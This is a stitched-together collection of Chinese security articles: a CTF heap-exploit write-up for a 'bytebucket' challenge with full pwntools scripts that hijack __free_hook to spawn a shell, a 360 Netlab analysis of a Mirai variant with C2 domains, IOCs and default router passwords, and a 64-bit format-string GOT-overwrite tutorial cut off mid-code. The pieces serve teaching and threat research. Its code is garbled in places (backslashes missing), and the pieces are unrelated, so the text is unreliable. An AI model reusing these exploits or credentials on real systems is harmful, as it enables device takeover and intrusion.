$mysql_database="ctf"; /** 数据库的名称 */
$mysql_username="root"; /** MySQL数据库用户名 */
$mysql_password="root"; /** MySQL数据库密码 */
$conn = mysql_connect($mysql_server_name, $mysql_username,$mysql_password,'utf-8');
?>
## 参考文章
<http://cvk.posthaven.com/sql-injection-with-raw-md5-hashes> | 社区文章 |
# hackme.inndy.tw 上的 bytebucket writeup
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 程序分析
### file
### checksec
保护几乎全开
### 数据结构
* bucket是一个如下结构的结构体，用单链表串联。根据bucket中的slot数（slot_count），bucket的大小也会变化，slot指针也会变化。
* slot是malloc出来的char数组，其大小不做记录，只用于初始化。
* 全局有一个globalp指针指向根bucket，也有一个currentp指针指向当前操作的bucket
struct bucket{
bucket* next;
int64 slot_count;
char[16] bucket_name;
char* slot0;
char* slot1;
...
}
### 程序结构
初始化了2个bucket，其中第一个FLAG就在第一个bucket的slot中；第二个FLAG需要getshell获得
操作bucket
在open_bucket后才可以操作slot
### 寻找漏洞
观察free，无论是drop_bucket还是drop_data，free后指针被清0，没有UAF漏洞
* 漏洞点1：在make_bucket时，如果传入size of slot content大小为0，则会跳过对slot指针的赋值。也就是该数据块原来是什么就还是什么，于是想到让这个部分设置为我们希望读取/修改内存的指针，就可以实现任意地址读、写。
* 漏洞点2：输入bucket_name的函数没有在结尾强制加x00，可以让name为16个a，就会与slot0指针接上。list_bucket就会泄露出slot0地址。
## FLAG1
`make_bucket(1,"a"*16,[10],["bbb"])` 溢出堆指针，计算 FLAG1（内存）的地址
但是注意，如果flag1_addr中有0xa(n）时，会被替换为00，所以要重试
构造一个大小和bucket一样的slot，利用slot布局好内存，设置某个位置为flag1的指针
然后drop_data回到fastbin，等再make_bucket时，这块内存将作为bucket内存
此时原来的flag1还在
利用传入Size of content为0，避免对这块内存赋值，但是此时slot_count为1，在show_data中读取到内存中的FLAG。
完整payload
#!/usr/bin/env python2
# -*- coding:utf8 -*-
import struct
from pwn import *
from pwnlib.util.proc import wait_for_debugger
# context(os='linux', arch='amd64', log_level='debug') #i386 or amd64
#用python xxx.py elf 1调用远程
local = len(sys.argv) == 2
elf = ELF(sys.argv[1])
if local:
io = process(sys.argv[1],env={"FLAG1":"flag{env}"})
else:
io = remote("hackme.inndy.tw", 7722)
def make_bucket(slot_count,name,csize,cs):
io.sendlineafter("What to do","1")
io.sendlineafter("Size of bucket",str(slot_count))
io.sendlineafter("Name of bucket",name)
for i in range(slot_count):
io.sendlineafter("Size of content",str(csize[i]))
if (csize[i]!=0):
io.sendafter("Content of slot",cs[i])
def list_bucket():
io.sendlineafter("What to do","2")
def find_bucket(name):
io.sendlineafter("What to do","3")
io.sendlineafter("Bucket name to find",name)
def drop_bucket():
io.sendlineafter("What to do","5")
def open_bucket():
io.sendlineafter("What to do","6")
def show_data():
io.sendlineafter("What to do","1")
def rename(name):
io.sendlineafter("What to do","4")
def drop_data(idx):
io.sendlineafter("What to do","3")
io.sendlineafter("Which line of data",str(idx))
def close_bucket():
io.sendlineafter("What to do","5")
make_bucket(1,"a"*16,[10],["bbb"]) #name溢出堆指针，计算 FLAG1（内存）的地址
list_bucket()
io.recvuntil("a"*16)
c = io.recvuntil("";",drop=True)
slot1 = u64(c.ljust(8,'x00'))
success("slot1 : %x"%slot1)
flag1_addr = slot1 - 224
success("flag1_addr : %x"%flag1_addr)
fs = "%x"%flag1_addr
if "0a" in fs:
success("0a in address! Try again!")
exit()
make_bucket(1,"ccc",[40],["d"*32+p64(flag1_addr)])
open_bucket()
drop_data(0)
close_bucket()
make_bucket(1,"eee",[0],[''])
open_bucket()
show_data()
io.interactive()
## FLAG2
上述过程可以实现任意地址读，但是由于slot的编辑(edit_data)会用strlen判断原来slot的大小，所以如果要实现任意地址写，则需要用rename函数来修改bucket的name字段。
由于程序保护几乎全开，尤其RELRO限制了改不了got表，就改__free_hook
* 套路1：利用FLAG1同样的方法，获取堆地址，确定bucket2的地址
* 套路2：利用“利用unsorted bin获得main_arena地址”的套路吗，获取main_arena地址进而获得libc地址
make_bucket(4,"aaaa",[0x80,0x80,0x80,0x80],["bbbb","cccc","dddd","eeee"])
open_bucket()
drop_data(0)
drop_data(2)
close_bucket()
make_bucket(2,"f"*16,[0x80,0x80],["g"*8,"hhhh"])
与FLAG1同样的套路构造内存，这次是让bucket3->slot0=bucket2
make_bucket(2,"bucket2",[40,8],["d"*32+p64(bucket2),"/bin/shx00"])
open_bucket()
drop_data(0) #带有bucket2指针的块进入fastbin
close_bucket()
make_bucket(1,"bucket3",[0],[''])
open_bucket()
先利用edit_data函数，修改slot对应的内存
free_hook_addr = libc.symbols["__free_hook"] - 0x10 #可以修改的地方在0x10处
data = p64(free_hook_addr).rstrip("x00")
csize = len(data)
success("free_hook size: %d"%csize)
success("__free_hook - 0x10 : %x"%free_hook_addr)
edit_data(0,csize,data) #将bucket2->next改成指向想要的目标（伪bucket）
close_bucket()
此时locked->bucket1->bucket2->fake bucket
利用next_bucket函数进入fake_bucket，用rename函数修改fake_bucket的字段（之所以用rename而不是edit_data是因为edit_data修改的长度会根据原来内容strlen的结果，free_hook这里原来是NULL，所以不能改长；而rename则只限制32长度，满足要求）
find_bucket("bucket2")
next_bucket() #进入到伪bucket，修改名字
open_bucket()
system_addr = libc.symbols["system"]
success("system_addr : %x"%system_addr)
rename(p64(system_addr)) #
close_bucket()
free掉有/bin/sh那块内存，触发__free_hook
find_bucket("bucket2")
open_bucket()
drop_data(1) #free掉有/bin/sh那块内存，触发__free_hook
完整的payload
#!/usr/bin/env python2
# -*- coding:utf8 -*-
import struct
from pwn import *
from pwnlib.util.proc import wait_for_debugger
context(os='linux', arch='amd64', log_level='debug') #i386 or amd64
#用python xxx.py elf 1调用远程
local = len(sys.argv) == 2
elf = ELF(sys.argv[1])
if local:
io = process(sys.argv[1],env={"FLAG1":"flag{env}"})
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #64bit
main_arena_offset = 3951392
else:
io = remote("hackme.inndy.tw", 7722)
libc = ELF("libc-2.23.so.x86_64")
main_arena_offset = 0x3C3B20
def make_bucket(slot_count,name,csize,cs):
io.sendlineafter("What to do","1")
io.sendlineafter("Size of bucket",str(slot_count))
io.sendlineafter("Name of bucket",name)
for i in range(slot_count):
io.sendlineafter("Size of content",str(csize[i]))
if (csize[i]!=0):
io.sendafter("Content of slot",cs[i])
def list_bucket():
io.sendlineafter("What to do","2")
def find_bucket(name):
io.sendlineafter("What to do","3")
io.sendlineafter("Bucket name to find",name)
def drop_bucket():
io.sendlineafter("What to do","5")
def open_bucket():
io.sendlineafter("What to do","6")
def show_data():
io.sendlineafter("What to do","1")
def edit_data(idx,size,data):
io.sendlineafter("What to do","2")
io.sendlineafter("Which line of data",str(idx))
io.sendlineafter("Size of new content",str(size))
io.sendafter("New content", data)
def rename(name):
io.sendlineafter("What to do","4")
io.sendlineafter("New bucket name",name)
def drop_data(idx):
io.sendlineafter("What to do","3")
io.sendlineafter("Which line of data",str(idx))
def close_bucket():
io.sendlineafter("What to do","5")
def next_bucket():
io.sendlineafter("What to do","4")
make_bucket(4,"aaaa",[0x80,0x80,0x80,0x80],["bbbb","cccc","dddd","eeee"])
open_bucket()
drop_data(0)
drop_data(2)
close_bucket()
make_bucket(2,"f"*16,[0x80,0x80],["g"*8,"hhhh"])
#name溢出堆指针，获得bucket2的地址
list_bucket()
io.recvuntil("f"*16)
c = io.recvuntil("";",drop=True)
slot = u64(c.ljust(8,'x00'))
success("slot : %x"%slot)
bucket2 = slot - 368 + 0x50
success("bucket2 : %x"%bucket2)
#利用unsorted bin获得main_arena地址，从而获得libc基地址
open_bucket()
show_data()
io.recvuntil("g"*8)
bk = u64(io.recvuntil("nRow[",drop=True).ljust(8,'x00'))
main_arena = bk - 216
success("main_arena : %x"%main_arena)
libc.address = main_arena - main_arena_offset
success("libc.address : %x"%libc.address)
close_bucket()
#恢复环境，清空（fastbin里面还有）
drop_bucket()
find_bucket("aaaa")
drop_bucket()
#locked->bucket1
find_bucket("/home/ctf/flag")
#构造一个bucket2
make_bucket(2,"bucket2",[40,8],["d"*32+p64(bucket2),"/bin/shx00"])
#locked->bucket1->bucket2
open_bucket()
drop_data(0) #带有bucket2指针的块进入fastbin
close_bucket()
#从fastbin中获取到刚才free掉的块
#bucket2->next = bucket3
#locked->bucket1->bucket2->bucket3(bucket3->slot0=bucket2)
make_bucket(1,"bucket3",[0],[''])
open_bucket()
free_hook_addr = libc.symbols["__free_hook"] - 0x10 #可以修改的地方在0x10处
data = p64(free_hook_addr).rstrip("x00")
csize = len(data)
success("free_hook size: %d"%csize)
success("__free_hook - 0x10 : %x"%free_hook_addr)
edit_data(0,csize,data) #将bucket2->next改成指向想要的目标（伪bucket）
close_bucket()
#locked->bucket1->bucket2->fake bucket
find_bucket("bucket2")
next_bucket() #进入到伪bucket，修改名字
open_bucket()
system_addr = libc.symbols["system"]
success("system_addr : %x"%system_addr)
rename(p64(system_addr)) #
close_bucket()
find_bucket("bucket2")
open_bucket()
drop_data(1) #free掉有/bin/sh那块内存，触发__free_hook
io.interactive() | 社区文章 |
# 【权威发布】从德国断网事件看mirai僵尸网络的演化（新变种和旧主控）
|
##### 译文声明
本文是翻译文章，文章来源：360网络安全研究院
原文地址：<http://blog.netlab.360.com/a-mirai-botnet-evolvement-new-variant-and-old-c2/>
译文仅供参考，具体内容表达以及含义原文为准。
****
**
**
**作者：**[ **360网络安全研究院**](http://bobao.360.cn/member/contribute?uid=1404802522)
**投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿** ****
**德国电信断网事件 2016-11-28**
德国电信在2016年11月28日前后遭遇一次大范围的网络故障。在这次故障中，2千万固定网络用户中的大约90万个路由器发生故障（约4.5%），并由此导致大面积网络访问受限。很多媒体给出了网络受限的示意图，如下。
德国电信进一步确认了问题是由于路由设备的维护界面被暴露在互联网上、并且互联网上正在发生针对性的攻击而导致。德国电信连夜与设备供应商生成了新的升级包，并且要求客户如果怀疑受到影响就断电重启路由器，之后利用自动/手动的升级过程来减轻问题显然，德国电信还采取了一系列的过滤措施来保证升级过程不受攻击影响。德国电信对该事件给出了较为详细的描述。<https://www.telekom.com/en/media/media-information/archive/information-on-current-problems-444862>
按照360网络安全研究院对这次事件以及mirai僵尸网络的理解，这次事件前后的时间脉络如下（以下均为北京时间）：
2016-11-07，kenzo发布了一个针对7547端口上路由器等设备的TR-069/TR-064相关的安全公告；
2016-11-26 21:27:23 360网络安全研究院首次探测到mirai僵尸网络发起了针对 7547 端口的扫描；
2016-11-26 ～ 2016-11-28，端口7547上的mirai僵尸网络规模积累到足以影响大面积网络；
～2016-11-28 telekom 德国电信累积大约90万个路由器被mirai僵尸网络的扫描过程打宕，网络大面积受影响
2016-11-28 ～ 至今 telekom 德国电信在自身网络范围内采取措施遏制mirai僵尸网络的扫描过程。
**前言**
众所周知，mirai的源码在北京时间2016-09-30附近泄漏，随后被托管到[github](https://github.com/jgamblin/Mirai-Source-Code)上。自那以后，不管是黑帽子还是白帽子都对mirai的源码进行了大量深入的分析。换句话说，随着时间的推移，各路新玩家终将逐渐入场，目前为止我们的观察也映证了上述观点。我们已经发现了若干mirai的新变种，例如出现了新的主控域名，或者登录界面从俄文变为英文/中文，也有一些明显还是新玩家摸索阶段的设定，比如将主控域名设为8.8.8.8或者baidu.com。基于种种mirai变种，我们推测mirai家族对网络空间安全的威胁将会长期持续，周期也许会以年为单位计。
11月26日21点27分,
一个新的变种引起了我们的注意。之前的Mirai各种变种基本都是小改动，核心内容扫描23和2323端口上弱口令的行为模式没有变化，但是这个变种出现了扫描TCP
端口7547远程命令执行漏洞的行为，这是利用了最近新公布的一个安全公告中提到的问题，将感染目标转移到支持TR-069/TR-064并错误暴露TR-064的设备，bot扫描端口也随之转移到7547，感染过程利用了TR-064实现中存在的命令注入问题。该变种仍然会扫描mirai传统的端口23/2323，但是使用的弱口令进一步精简到精心挑选的三组密码。这种变化表明，mirai泄漏源码已经逐步成为成熟的开发包，一旦有新的（也许是旧的）设备弱口令被发现，很快就会被mirai家族感染。这其中，扫描端口7547而非23和2323、利用远程命令执行漏洞而非弱口令种植木马都与既往mirai的行为显著区分。
另一方面，尽管这个新变种有若干变化，它仍然重用了mirai的部分代码，进而顺带继承了mirai代码中的缺陷，并与既有mirai僵尸网络共享控制端基础设施。
11月27日17点04分,我们监测到又出现一个变种,和26日的新变种类似,这次的变种出现了扫描TCP端口5555的行为。
从我们的统计数据上来，这两个变种处于异常活跃的状态，同时从国外合作伙伴的数据来看，这两个变种的扫描范围造成了世界范围的影响，日记录的活跃扫描源在百万级别。
鉴于mirai的源码已经公开,
结合上述两个变种的行为，我们深度担忧mirai会成为一个ddos攻击库的母体，通过模块化对源代码部分内容进行更新，就可以随时增加对新的漏洞的支持。
**
**
**数据更新**
我们在<http://data.netlab.360.com/mirai-scanner>提供了对mirai感染设备的各种统计和数据下载供研究者使用。
根据新观察到的数据，我们更新了[data.netlab.360.com](http://data.netlab.360.com/mirai-scanner)上的mirai监控页面，并且将对应样本的md5和域名附录在文末。对已经使用API访问我们提供bot
list的合作者，请重新下载2016-11-26及以后的数据以获得7547及5555端口数据的更新。
**
**
**新Mirai变种的僵尸网络能力评估**
目前活跃的所有已知版本的mirai(包括今天报告的在端口7547和5555的)由于编码手法问题,导致可以精确定位和标示来自mirai的扫描行为。如前所述,我们在2016-11-26首次观察到7547端口上的新变种，一天后的2016-11-27首次观察到5555端口上的新变种。
在各个端口上首次发现扫描时间对比
每日bot规模增长情况(最右侧的的蓝色和红色是新增加的这两个变种)
按照当前的增速排名，四个端口上bot的增长速度分别是：
当前端口7547上的bot增长速度已经远超过了已知
端口23/2323上的bot数量增速。当前端口7547上的bot总量已经超过3万；我们从安全社区合作伙伴处得知，全网潜在的可感染设备总数量在3～5百万之间。这也是促使我们撰写本blog的原因之一。
端口 7547 上bot增速曲线，分解到每十分钟：
上图显示，Bot的增速很快就达到一个高峰，并且平稳的维持在较高水平上。
另一方面，在整个互联网的视角来看，端口7547的扫描在2016-11-26日晚间开始有急剧的上升。
在新变种的感染bot的地理分布方面，巴西依然遥遥领先，与既有mirai僵尸网络的地理分布保持一致。
**
**
**新变种共享了既有mirai僵尸网络主控的基础设施**
通过分析和网络追踪，我们得到了端口7547上的mirai变种样本。进一步分析样本发现，样本中的主控有两组，如下。值得注意的是,这两组主控都是之前已经发现并跟踪的mirai僵尸主控。我们最早在2016-11-09就已经在其他样本中发现了同时出现两组主控的情况，并且那两组主控就是本次新变种中涉及的这两组。也就是说,这次利用7547漏洞的新变种和之前的mirai最开始的使用者是一组人。
*.securityupdates.us
*. timeserver.host
**目前我们可以断言以下这四组主控背后的控制者是同一组人**
判定的依据有下面这些：
1.在本次发现的样本中（以及最早在2016-11-09发现的样本），一个样本中同时出现了securityupdates.us和timeserver.host两组C&C控制服务器。
2.上述四组域名大量共享IP地址，特别是5.188.232.1/24这个C类段，几乎所有的IP地址都拥有完全相同的扫描banner。
3.有意思的是,在我们内部不久前做的一个数据观察的可视化图形中,我们也的确可以看到securityupdates.us和timeserver.host这两个主控下的感染bot有较高的重合度，这从另外一个维度验证了这两个主控有一定关系。
**
**
**新变种与既有mirai僵尸网络在bot列表上也有一定覆盖交叉**
整体四个端口 23/2323/5555/7547 的botIP列表也有一定交叉覆盖。
可以看出：
1.主要的bot还是仅仅扫描23端口上，占了79%；加上顺带扫描2323端口的11%、以及仅仅扫描2323端口的6.4%，共计96.4%，这占据了当前mirai僵尸网络的绝对大头；
2.仅仅扫描 7547 端口的bot有 3.1%，考虑到当前这个端口上仅工作了3天，mirai的在这个端口上感染速度仍然是惊人的；
3.其他交叉扫描的所有bot合并攻击占据0.5%，目前仍然不是主体。
**
**
**新变种的设备特性**
我们汇总了手头所有7547相关的botIP列表，共计46653个。我们尝试读取这些IP的设备型号，共计获得了5976个回应。这里的样本耗损比较大，我们反复尝试了多次，相信可以排除网络抖动情况，剩下的损耗我们归因为mirai；也许是因为设备上的开放端口被mirai关闭，也许是因为设备当时网络忙。
我们筛选了返回的5976个回应中个数超过10个的细分类，列出他们的生产厂商（打码）、型号列表如下。
我们的确建议这些厂商联合他们的客户一起对上述情况做出适当响应以减轻mirai的危害程度，但同时仍然必须强调这些只是我们能够看到的冰山一角，也许还需要更多其他设备厂商一起来做更多的网络安全工作。
**
**
**相关安全公告**
2016-11-07，kenzo/kenzo2017在devicereversing.wordpress.com上发布了一个TR-064相关的安全公告。原文见：
[https://devicereversing.wordpress.com/2016/11/07/eirs-d1000-modem-is-wide-open-to-being-hacked/](https://devicereversing.wordpress.com/2016/11/07/eirs-d1000-modem-is-wide-open-to-being-hacked/)
理解该公告的技术细节有助于理解mirai新变种的行为。 公告中公开了Eir D1000
Modem的一个配置错误和一个命令注入问题。该配置错误使得原本仅应该暴露在LAN一侧的TR-064协议栈暴露在了WAN一侧；而对命令注入手段的充分利用可以使得攻击者完全接管设备。
Eir D1000
Moden向互联网暴露了端口7547。该端口上运行了两组协议，TR-069和TR-064，前者设计为在WAN上运行，而后者仅设计为在LAN侧运行。正常情况下在互联网上无法与TR-064协议栈交互，但是由于该设备的错误配置，该协议栈被暴露在WAN上，形成一个攻击面。
公告中提及，在该设备上可以执行TR-064中的多个命令，包括获取设备信息、获取设备WiFi密码、获取设备SSID/MAC、设定时间服务器等等。特殊的，在设定时间服务器的时候存在一个命令注入漏洞，利用该漏洞可以执行该设备上busybox的诸多命令，比如可以设定iptables来关掉设备上80端口管理员界面的防火墙。而要命的是，管理员界面的登录密码，就是前面提到可以获取的设备WiFi密码。
组合使用上述配置错误/漏洞，可以使得攻击者在WAN侧获得设备的完全控制权。Kenzo在公告中给出了一个利用的概念验证。
该公告中还有其他若干槽点可看。不过我们的注意力集中在网络侧的技术特征，包括：
1.开放端口为7547，这意味着新变种的bot需要发起针对该端口的扫描。
2.体系架构为MIPS。概念验证中提到的两个Targets分别是MIPS的大端和小端。
另外在安全社区的其他信息源中，我们了解到端口5555上也同样运行了TR-069/TR-064协议，并且有其他mirai变种开始扫描了上述端口。我们的数据中，映证了以上关于端口5555/7547的说法。
**
**
**新mirai变种的感染和植入过程**
新变种的感染和植入过程已经被安全社区广泛讨论，例如下面的这篇文章，这里不再赘述，读者可以自行扩展阅读。 <https://badcyber.com/new-mirai-attack-vector-bot-exploits-a-recently-discovered-router-vulnerability/>
值得一提的有这么一些地方：
新变种的样本覆盖了多个平台，如下列表:在诸多解释中，我们选择相信这可能反映了攻击者的工程环境比较成熟，攻击者已经拥有较为成熟的交叉编译工程环境，新的扫描方式出现后顺手就编译了多种平台样本。
精简所使用的弱口令集合 这一变种里，针对23/2323 端口弱口令字典已经精简到了3条。
root xc3511
root vizxv
root admin
对照下表中已经公开的弱口令可知，前述第一对弱口令是针对雄迈设备的；第二对是针对大华设备的。第三条适用范围较广，没有明确的指向性。
我们相信从攻击者的角度看来，对比之前的约60对弱口令，当前的三对弱口令在覆盖率上不会有多少损失，但是扫描速度方面会有很大提高。
**
**
**附录**
IOC, MD5
dc2464aefa7ba00eeccbd18baceeb9e9
a4487a7b2040de43ba3e0d7468f070c7
238a67e6f9b129680b618a3c579a8c6c
a490bb1c9a005bcf8cfe4bdffe7b991f
0dd3e7899183e93e5967e87ac6ea48a9
83bb43a36c49496a96f41926d80ec97d
99f9e7c6d7786555a7d067220b3c0d7d
a00a630b5f2c5e142f35c9df7df9f919
b6e0b8327fa3ab5abe761fb627a9cba1
域名
kernelorg[.]download
update[.]kernelorg[.]download
securityupdates[.]us
check[.]securityupdates[.]us
rep[.]securityupdates[.]us
timeserver[.]host
ntp[.]timeserver[.]host
ocalhost[.]host
l[.]ocalhost[.]host | 社区文章 |
# 64位格式化字符串漏洞修改got表利用详解
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
格式化字符串漏洞是最基础也是很老的一个漏洞了，网上一搜索就会有一堆的解释、原理、以及利用，但全都是对32位的格式化漏洞的解析，64位的几乎没有，就算有也被一笔带过。
但是当你利用格式化漏洞来修改64位elf的got表时，你会发现并没有详细的那么简单，虽然和32位的原理一样，但payload的构建方法却有所差别。甚至难度也大大增加
故此有了此处尝试以及尝试后的一些总结
## 漏洞分析
程序源码：
#include<stdio.h>
void huan(){
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
return;
}
int main(){
char s[60];
huan(); //该函数用来设置缓冲区
while(1){
puts("plese input:");
read(0,s,0x60);
printf(s);
printf("n");
}
return 0;
}
## 漏洞成因
pritnf作为c语言中的输出函数，其使用方式是填充两个参数，分别是格式化字符和变量即：printf(“格式化字符”,变量（指针、整形等变量）);
但有的人为了省事也会写成 printf(变量); 虽然都可以正常输出，但那是在正常情况下。而在不正常的情况下比如被利用时，printf(变量);
这样的写法就变得很危险了
其中格式化字符有：
%c：输出字符，配上%n可用于向指定地址写数据。
%d：输出十进制整数，配上%n可用于向指定地址写数据。
%x：输出16进制数据，如%i$x表示要泄漏偏移i处4字节长的16进制数据，%i$lx表示要泄漏偏移i处8字节长的16进制数据，32bit和64bit环境下一样。
%p：输出16进制数据，与%x基本一样，只是附加了前缀0x，在32bit下输出4字节，在64bit下输出8字节，可通过输出字节的长度来判断目标环境是32bit还是64bit。
%s：输出的内容是字符串，即将偏移处指针指向的字符串输出，如%i$s表示输出偏移i处地址所指向的字符串，在32bit和64bit环境下一样，可用于读取GOT表等信息。
%n：将%n之前printf已经打印的字符个数赋值给偏移处指针所指向的地址位置，如%100x%10$n表示将0x64写入偏移10处保存的指针所指向的地址（4字节），而%$hn表示写入的地址空间为2字节，%$hhn表示写入的地址空间为1字节，%$lln表示写入的地址空间为8字节，在32bit和64bit环境下一样。有时，直接写4字节会导致程序崩溃或等候时间过长，可以通过%$hn或%$hhn来适时调整。
%n是通过格式化字符串漏洞改变程序流程的关键方式，而其他格式化字符串参数可用于读取信息或配合%n写数据。
具体如下：
正常输入时可以正常输出：
但是当输入的时格式化字符时：
对比可以发现，正常输入确实可以正常输出，但恶意的输入格式化字符时，那就不行了，危险了，而且是大大的危险了
因为格式化字符，有的可以用来读取，有的可以用来修改，而结合起来就是可读写，相当于当黑客能够掌握这个漏洞时，就拥有了你的计算机的权限，你的计算机也将不再是你的计算机
具体利用请往下看（太过详细的本文不再解释，度娘有一大堆，但偏偏没有64位的，当然可能是本人太菜没找到，欢迎大佬指教、推荐）
此处就接用自己写的程序来讲解64位格式化字符串漏洞的利用
## 程序分析
该程序是由c语言写的，并没有其他的太多套路，仅作为个人研究格式化字符串漏洞所用，故直接按起手式进行：
接着ida查看伪码：
（本次为了方便，在源码中直接加入了死循环方便格式化字符串漏洞的利用，如果没有循环的话，则可以修改
的值为入口函数的地址，详细的可以参考[https://blog.csdn.net/qq_39268483/article/details/92399248，也可自行百度，度娘还是有一堆）](https://blog.csdn.net/qq_39268483/article/details/92399248%EF%BC%8C%E4%B9%9F%E5%8F%AF%E8%87%AA%E8%A1%8C%E7%99%BE%E5%BA%A6%EF%BC%8C%E5%BA%A6%E5%A8%98%E8%BF%98%E6%98%AF%E6%9C%89%E4%B8%80%E5%A0%86%EF%BC%89)
## 开始利用
思路：
漏洞很明显，就是格式化字符串漏洞，但是审查函数，发现，该程序中并没有system等可以getshell的函数，所以第一步必须先泄露got表中的真实地址，进而获取libc的版本，然后通过libc的版本以及got表中的函数的实际地址，来求出程序运行时的基地址，有了基地址，就可以联合libc中的偏移，来计算出各个动态链接库中的函数的地址，进而getshell了
libc的获取，已经在前面泄露了got中的实际地址，则可以根据泄露出来的实际地址来查询libc
的版本，原理是，在程序运行时的地址虽然会变化，但其实际地址的后三位却不会改变（libc版本的查询及下载网址：[https://libc.blukat.me/）](https://libc.blukat.me/%EF%BC%89)
由于网上大部分都是直接给出计算过程而没有给出计算原理，所以本处给出基地址及目的函数的实际地址的计算原理：
第一步：基地址 = 实际地址（泄露的got地址） – libc中对应函数的偏移
第二部：目的函数地址 = 基地址 + libc中对应函数的偏移
获取了目的函数的实际地址，接下来就是利用格式化字符串漏洞来修改got表了
利用过程：
按思路一步一步来，先计算格式化字符串漏洞的偏移：
计算偏移前面输入用来观察的字符，后面输入n多个%x，然后根据泄露出来的十六进制，自己一个一个数偏移时多少，该处计算出偏移为6（或许有的师傅该说，这种简单的数偏移大家都会，我肯定是在浪费大家时间水文，其实不然，或许一个一个数大家都会，但操作起来却又相当麻烦，本处之所以提起偏移的计算，是想向个位师傅分享一个我自己的计算偏移的方法，如果师傅们有其他的好方法希望大家也可以向我分享下，在此拜谢）
def pianyi(pwn_name,x = 'x'):
print('pwn_name=' + pwn_name + ',x=' + x)
i = 0
while True :
r = process(pwn_name) //用来打开程序运行测试偏移
i += 1
/*这里我直接发送了payload，因为不同的程序，前面可能需要接收不同的数据，
所以师傅们用的时候，需要在此处加上recv进行接收数据*/
payload = 'a'*4 + '.' + '%' + str(i) + '$' + '8x'
r.sendline(payload)
r.recvuntil("aaaa.")
r_recv = r.recv(8)
print('*'*10 + r_recv + '*'*10)
if r_recv == '61616161':
print(payload)
if x == 'x':
s = '%' + str(i) + '$8x'
else :
s = '%' + str(i) + '$8' + str(x)
return s
break
一个我自己定义的小函数，该函数调用时要在 process前面调用，不然在返回偏移后程序也就终止了，因为我在函数中用了process
name参数是要进行查格式化字符串偏移的pwn_name，
x是该函数的返回值（一个字符串）选择返回在改偏移下不同的格式化字符，
该函数前面如果需要recv的话，需要自行添加
效果：
循环process目标程序，知道找到偏移，则返回偏移并退出
函数调用exp：
#-*-coding:utf-8 -*- from pwn import *
#context.log_level = 'debug'
pwn_name = "./pwn33"
#******************格式化字符串偏移****************
def pianyi(pwn_name,x = 'x'):
print('pwn_name=' + pwn_name + ',x=' + x)
i = 0
while True :
r = process(pwn_name)
i += 1
payload = 'a'*4 + '.' + '%' + str(i) + '$' + '8x'
r.sendline(payload)
r.recvuntil("aaaa.")
r_recv = r.recv(8)
print('*'*10 + r_recv + '*'*10)
if r_recv == '61616161':
print(payload)
if x == 'x':
s = '%' + str(i) + '$8x'
else :
s = '%' + str(i) + '$8' + str(x)
return s
break
#******************格式化字符串偏移****************
pianyi(pwn_name)
r = process(pwn_name)
file = ELF(pwn_name)
第二步：
有了偏移就可以泄露got表（其中要知道，由于延迟绑定技术，只有在程序中执行过的函数，got中才会绑定其真实地址，所以要泄露的时漏洞之前已经执行过的函数）
首先我们先按照32位的payload ：payload = p32(泄露地址) + %偏移$x 来构建
exp：
#-*-coding:utf-8 -*- from pwn import *
context.log_level = 'debug'
pwn_name = "./pwn33"
#******************格式化字符串偏移****************
def pianyi(pwn_name,x = 'x'):
print('pwn_name=' + pwn_name + ',x=' + x)
i = 0
while True :
r = process(pwn_name)
i += 1
payload = 'a'*4 + '.' + '%' + str(i) + '$' + '8x'
r.sendline(payload)
r.recvuntil("aaaa.")
r_recv = r.recv(8)
print('*'*10 + r_recv + '*'*10)
if r_recv == '61616161':
print(payload)
if x == 'x':
s = '%' + str(i) + '$8x'
else :
s = '%' + str(i) + '$8' + str(x)
return s
break
#******************格式化字符串偏移****************
#pianyi(pwn_name)//只用泄露出偏移后就没多大用了，对于64位来说，还需改进，故注释
r = process(pwn_name)
file = ELF(pwn_name)
#*****************泄露got表*************************
r.recvuntil("plese input:")
puts_got = file.got['puts']
payload =p64(puts_got) + '%6$s'//如果和32位payload构建顺序一样地址在前，格式化字符在后，则。。。。。（看下面的效果图）
r.sendline(payload)
r.recvuntil('aaaa')
puts_addr = u64(r.recv(6) + '00')
#*****************泄露got表*************************
r.interactive()
效果图：
看效果图，可以发现，在send发送数据时，确实按预期发送了，但是在经过printf输出时，recv接收到的数据，却出现了问题，仅printf到了发送的地址，却没有printf到格式化字符，而格式化字符都没有printf到，那还算是什么格式化字符串漏洞呢。那么原因在哪呢？明明这样来32位的就可以呀，嘿嘿，想继续往下看：
仔细看我们send发送的数据，前面的地址数据经p64()打包后占的是8个字节，就是蓝色方框前的那一串，而蓝色方框中的就是我们的格式化字符串，细心的人就已经发现了，我们send
的地址和我们构造的格式化字符串中间还有好多个 ‘00’ ，而在字符串中 ‘00’
就代表了结束，所以在printf到‘00’时，就被认为字符串已经结束了，自然不会继续往后面printf了，也即是说我们的字符串都被’00’给截断了。没办法，为了字符串不被截断，我们只能将地址给放在字符串的后面了
exp：
#-*-coding:utf-8 -*- from pwn import *
context.log_level = 'debug'
pwn_name = "./pwn33"
/*由于求偏移的函数在后面已经没多大用了，为了简洁后面都给去除了*/
r = process(pwn_name)
file = ELF(pwn_name)
#*****************泄露got表*************************
r.recvuntil("plese input:")
puts_got = file.got['puts'] //获取got表的地址
payload = 'a'*4 + '%7$s' + p64(puts_got) //将地址放后面构建payload
r.sendline(payload)
r.recvuntil('aaaa')
puts_addr = u64(r.recv(6) + '00') //接收自got表中泄露出的真实地址
#*****************泄露got表*************************
r.interactive()
效果：
看浅蓝色方框，哪些 ‘00’
已经被放在了字符串的最后面，这样也就不会将格式化字符给截断而无法被printf了，而下面recv到的深蓝色方框中原本应该时我们构建的格式化字符的地方已经被解析为got中的实际地址了
有了got中的实际地址，那么就可以获取libc了，通过实际地址的后三位，上图中为：9c0
有了libc接下来计算 基地址 和 system的地址：
exp：
#-*-coding:utf-8 -*- from pwn import *
context.log_level = 'debug'
pwn_name = "./pwn33"
r = process(pwn_name)
file = ELF(pwn_name)
#*****************泄露got表*************************
r.recvuntil("plese input:")
puts_got = file.got['puts']
payload = 'a'*4 + '%7$s' + p64(puts_got)
r.sendline(payload)
r.recvuntil('aaaa')
puts_addr = u64(r.recv(6) + '00')
#*****************泄露got表*************************
#*****************获取printf_got地址，并打印其真实地址*************
